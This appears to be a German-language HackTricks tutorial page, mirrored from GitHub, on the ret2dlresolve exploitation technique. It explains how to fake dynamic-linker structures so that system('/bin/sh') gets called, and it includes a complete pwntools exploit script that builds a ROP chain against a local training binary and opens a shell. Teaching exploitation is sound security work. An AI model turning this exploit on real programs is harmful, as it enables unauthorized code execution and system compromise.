mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
88 lines
5.8 KiB
Markdown
88 lines
5.8 KiB
Markdown
# Ret2dlresolve
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|
|
|
|
## Grundlegende Informationen
|
|
|
|
Wie auf der Seite über [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) und [**Relro**](../common-binary-protections-and-bypasses/relro.md) erklärt, werden Binärdateien ohne Full Relro Symbole (wie Adressen externer Bibliotheken) beim ersten Gebrauch auflösen. Diese Auflösung erfolgt durch Aufruf der Funktion **`_dl_runtime_resolve`**.
|
|
|
|
Die Funktion **`_dl_runtime_resolve`** nimmt vom Stapel Verweise auf einige Strukturen entgegen, die sie benötigt, um das angegebene Symbol aufzulösen.
|
|
|
|
Daher ist es möglich, **alle diese Strukturen zu fälschen**, um das dynamische Verknüpfen das angeforderte Symbol (wie die **`system`**-Funktion) aufzulösen und mit einem konfigurierten Parameter aufzurufen (z. B. **`system('/bin/sh')`**).
|
|
|
|
Normalerweise werden all diese Strukturen gefälscht, indem eine **initiale ROP-Kette erstellt wird, die `read` aufruft** über einen beschreibbaren Speicher, dann werden die **Strukturen** und der String **`'/bin/sh'`** übergeben, damit sie von `read` an einem bekannten Ort gespeichert werden, und dann setzt die ROP-Kette fort, indem sie **`_dl_runtime_resolve`** mit der Adresse von `$'/bin/sh'` aufruft.
|
|
|
|
{% hint style="success" %}
|
|
Diese Technik ist besonders nützlich, wenn es keine Syscall-Gadgets gibt (um Techniken wie [**ret2syscall**](rop-syscall-execv.md) oder [SROP](srop-sigreturn-oriented-programming.md) zu verwenden) und es keine Möglichkeiten gibt, libc-Adressen preiszugeben.
|
|
{% endhint %}
|
|
|
|
Eine bessere Erklärung dieser Technik finden Sie in der zweiten Hälfte des Videos:
|
|
|
|
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
|
|
|
## Strukturen
|
|
|
|
Es ist notwendig, 3 Strukturen zu fälschen: **`JMPREL`**, **`STRTAB`** und **`SYMTAB`**. Eine bessere Erklärung, wie diese aufgebaut sind, finden Sie unter [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
|
|
|
## Angriffszusammenfassung
|
|
|
|
1. Fälschen Sie gefälschte Strukturen an einem Ort
|
|
2. Setzen Sie das erste Argument von system (`$rdi = &'/bin/sh'`)
|
|
3. Setzen Sie auf dem Stapel die Adressen zu den Strukturen, um **`_dl_runtime_resolve`** aufzurufen
|
|
4. Rufen Sie **`_dl_runtime_resolve`** auf
|
|
5. **`system`** wird aufgelöst und mit `'/bin/sh'` als Argument aufgerufen
|
|
|
|
## Beispiel
|
|
|
|
Sie finden ein [**Beispiel dieser Technik hier**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **mit einer sehr guten Erklärung der endgültigen ROP-Kette**, aber hier ist der verwendete endgültige Exploit:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln', checksec=False)
|
|
p = elf.process()
|
|
rop = ROP(elf)
|
|
|
|
# create the dlresolve object
|
|
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
|
|
|
|
rop.raw('A' * 76)
|
|
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
|
|
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
|
|
|
|
log.info(rop.dump())
|
|
|
|
p.sendline(rop.chain())
|
|
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
|
|
|
|
p.interactive()
|
|
```
|
|
## Referenzen
|
|
|
|
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
|
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
|
|
|
</details>
|